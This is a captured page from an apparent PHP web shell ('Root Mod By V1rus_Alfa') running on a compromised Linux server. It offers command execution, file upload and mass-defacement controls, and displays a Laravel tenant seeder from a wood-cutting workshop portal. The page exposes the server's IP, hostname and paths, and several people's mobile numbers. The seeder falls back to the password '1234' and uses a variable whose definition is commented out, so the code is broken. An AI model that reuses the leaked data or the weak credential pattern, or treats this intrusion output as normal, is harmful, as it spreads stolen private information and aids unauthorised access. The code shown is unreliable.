���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
portal-cutunix
/
modules
/
Tenancy
/
Database
/
Seeders
/
Viewing: TenantSeeder.php
<?php namespace Modules\Tenancy\Database\Seeders; use Illuminate\Database\Seeder; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Hash; use Modules\Identity\Models\User; use Modules\Industry\Models\DefaultIndustrialMachinery; use Modules\Industry\Models\TenantIndustrialMachinery; use Modules\Project\Models\DefaultExecutionStatus; use Modules\Project\Models\DefaultOrderStatus; use Modules\RolePermission\Models\Role; use Modules\Service\Models\DefaultProvidedService; use Modules\Tenancy\Models\Tenant; class TenantSeeder extends Seeder { public function run() { try { DB::beginTransaction(); $cutunixOwner = User::where('mobile', '09133339727')->first(); $jaziniOwner = User::where('mobile', '09035202250')->first(); $azariOwner = User::where('mobile', '09139896228')->first(); $fakhariOwner = User::where('mobile', '09136821808')->first(); $tenants = [ [ 'name' => $name = 'cutunix', 'domain' => env('APP_URL'), 'database' => env('DB_DATABASE'), 'title' => 'کارگاه خدمات برش چوب و ام دی اف کات یونیکس', 'owner_id' => $cutunixOwner->id, 'state_id' => $cutunixOwner->state_id, 'city_id' => $cutunixOwner->city_id, 'slug' => $name, 'code' => md5($name . rand(11111, 99999)), ], [ 'name' => $name = 'jazinicut', 'domain' => env('APP_URL'), 'database' => env('DB_DATABASE'), 'title' => 'کارگاه خدمات برش چوب و ام دی اف محمدعلی جزینی', 'owner_id' => $jaziniOwner->id, 'state_id' => $jaziniOwner->state_id, 'city_id' => $jaziniOwner->city_id, 'slug' => $name, 'code' => md5($name . rand(11111, 99999)), ], [ 'name' => $name = 'azaricut', 'domain' => env('APP_URL'), 'database' => env('DB_DATABASE'), 'title' => 'کارگاه خدمات برش چوب و ام دی اف علی آذری', 'owner_id' => $azariOwner->id, 'state_id' => $azariOwner->state_id, 'city_id' => $azariOwner->city_id, 'slug' => $name, 'code' => md5($name . rand(11111, 99999)), ], [ 'name' => $name = 'fakhari1', 'domain' => env('APP_URL'), 'database' => env('DB_DATABASE'), 'title' => 'کارگاه خدمات برش چوب و ام دی اف فخاری', 'owner_id' => $fakhariOwner->id, 'state_id' => $fakhariOwner->state_id, 'city_id' => $fakhariOwner->city_id, 'slug' => $name, 'code' => md5($name . rand(11111, 99999)), ], ]; foreach ($tenants as $tenant) { $createdTenant = Tenant::create($tenant); foreach (DefaultIndustrialMachinery::all() as $industrialMachinery) { $createdTenant->machinery()->create([ 'name' => $industrialMachinery->name, 'type' => $industrialMachinery->type, 'status' => TenantIndustrialMachinery::STATUS_ACTIVE, ]); } foreach (DefaultExecutionStatus::all() as $executionStatus) { $createdTenant->executionStatuses()->create([ 'title' => $executionStatus->title, 'sort' => $executionStatus->sort, ]); } foreach (DefaultOrderStatus::all() as $orderStatus) { $createdTenant->orderStatuses()->create([ 'title' => $orderStatus->title, 'sort' => $orderStatus->sort, ]); } foreach (DefaultProvidedService::all() as $providedService) { $createdTenant->providedServices()->create([ 'title' => $providedService->title, 'price' => $providedService->price, 'unit' => $providedService->unit, 'unit_count' => $providedService->unit_count, ]); } // setPermissionsTeamId($createdTenant->id); // $createdTenantSuperAdminRole = Role::create([ 'name' => Role::ROLE_TENANT_SUPER_ADMIN, 'guard_name' => 'tenant' ]); // if (isset(Role::getPermissionsOfRoles()[Role::ROLE_TENANT_SUPER_ADMIN])) $createdTenantSuperAdminRole->givePermissionTo(Role::getPermissionsOfRoles()[Role::ROLE_TENANT_SUPER_ADMIN]); // $createdTenantStaffRole = Role::create([ 'name' => Role::ROLE_TENANT_STAFF, 'guard_name' => 'tenant' ]); // if (isset(Role::getPermissionsOfRoles()[Role::ROLE_TENANT_STAFF])) $createdTenantStaffRole->givePermissionTo(Role::getPermissionsOfRoles()[Role::ROLE_TENANT_STAFF]); // $tenantSuperAdmin = $createdTenant->owner; // $tenantStaff = User::where('mobile', '09010335657')->first(); $createdTenantSuperAdmin = $createdTenant->staff()->create([ 'user_id' => $tenantSuperAdmin->id, 'email' => $tenantSuperAdmin->email, 'mobile' => $tenantSuperAdmin->mobile, 'password' => $tenantSuperAdmin->password ?? Hash::make('1234') ]); // // $createdTenantStaff = $createdTenant->staff()->create([ // 'user_id' => $tenantStaff->id, // 'email' => $tenantStaff->email, // 'mobile' => $tenantStaff->mobile, // 'password' => $tenantStaff->password ?? Hash::make('1234') // ]); // $createdTenantSuperAdmin->assignRole(Role::findByName(Role::ROLE_TENANT_SUPER_ADMIN, 'tenant')); // $createdTenantStaff->assignRole(Role::findByName(Role::ROLE_TENANT_STAFF, 'tenant')); DB::commit(); } } catch (\Exception $e) { DB::rollBack(); throw $e; } } }
Coded With 💗 by
0x6ick Mod By V1rus_Alfa